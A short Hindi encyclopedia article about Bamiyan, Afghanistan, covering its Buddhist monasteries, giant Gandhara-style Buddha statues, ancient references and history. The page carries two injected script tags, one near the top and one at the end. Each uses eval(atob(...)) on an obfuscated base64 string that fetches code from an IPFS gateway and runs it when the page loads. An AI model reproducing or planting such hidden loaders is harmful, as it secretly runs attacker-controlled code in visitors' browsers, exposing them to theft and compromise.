बामियान
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बामियान अफ़ग़ानिस्तान में क़ाबुल के निकट स्थित एक ऐतिहासिक स्थान है। यहाँ के बौद्ध कालीन अवशेष उल्लेखनीय हैं। इनमें गंधार शैली में निर्मित महात्मा बुद्ध की विशालकाय मूर्तियाँ प्रख्यात हैं। यह स्थान मध्य युग से पूर्व बौद्ध विद्वानों तथा मंदिरों के लिए प्रसिद्ध था।
- पाणिनि की 'अष्टाध्यायी' में इस स्थान का नाम 'वर्मती' बताया गया है।
- चीनी यात्री युवानच्वांग ने भी अपने यात्रा वर्णनों में 'बातियान' (बामियान) के विहारों आदि का वर्णन किया है।
- यह स्थान मध्य युग से पूर्व बौद्ध विद्वानों तथा विहारों के लिये प्रसिद्ध था।
- बामियान के बौद्ध विहारों पर भित्तिचित्र आदि बनाये गये थे।
- पाँचवी-छठी शताब्दी में यह स्थान हूणों के आधिपत्य में रहा।
- यह स्थल काफ़ी समय तक भारतीय सांस्कृतिक परम्परा से जुड़ा रहा है।
- बीसवीं सदी में यहाँ से कुछ चित्र हटाकर यूरोपीय संग्रहालयों में रख दिये गये थे, जो द्वितीय विश्व युद्ध के दौरान बुरी तरह क्षतिग्रस्त हो गये।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>